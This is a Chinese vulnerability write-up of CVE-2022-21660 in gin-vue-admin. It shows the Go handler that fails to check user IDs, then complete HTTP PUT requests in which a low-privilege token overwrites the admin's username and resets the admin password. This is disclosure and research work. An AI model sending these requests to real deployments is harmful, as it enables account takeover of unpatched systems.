Gin-Vue-admin垂直越权漏洞与代码分析-CVE-2022-21660

一、前言

欢迎各位大佬们给该项目点一个start

https://github.com/flipped-aurora/gin-vue-admin/

文章写完了之后，申请CVE有一些麻烦，不过好在还是申请到了，github的员工响应迅速

ps 申请CVE前，已经提交了CNVD

二、环境搭建

按照官方教程

git clone https://github.com/flipped-aurora/gin-vue-admin.git

随后进入server目录

go generate

go build -o server main.go

随后直接运行server即可

随后是WEB，进入到web目录，输入

cnpm install || npm install

随后等待即可

随后安装完成会自动打开WEB网页

随后初始化设置数据库信息

配置好之后点击初始化后登录即可

三、漏洞复现

SetUserInfo存在垂直越权

1、SetUserInfo接口越权设置用户个人信息

我们直接来到用户管理页面，新增一个低权限的用户角色

可以看到上方并没有给到管理员的权限，接下来新建一个账号，分给这个角色组

漏洞发生的位置在https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行

// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

这里没有对传入的ID进行校验，ID代表用户的，直接传入指定的ID就可以修改对应用户的个人信息

首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1，随后我们可以在后台中看到管理员的ID已经被修改为test1了

那么接下来，我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去，将管理员用户名修改为test2

首先我们UzJu_HxSecTeam的账号个人信息>修改密码这里随便修改密码，然后获取到账号Token

这个Token是低权限那个角色的，正常低权限的用户是不可以修改管理员的任何信息的

x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

我们将Token替换进去，构造如下Json数据

{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

我们将Token替换到setUserinfo接口

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""}

随后提示我们，设置成功

这是我们切换到管理员账号，查看是否被修改为test2

可以看到管理员用户成功被修改

2、SetUserInfo接口垂直越权无条件修改管理员密码

在Debug的时候发现，在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg，其实还可以传入password等参数

比如我们构造一个请求，将ID为1的用户名称设置为admin，昵称设置为超级用户管理员

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

Gin-Vue-admin-poc-CVE-2022-21660

最受欢迎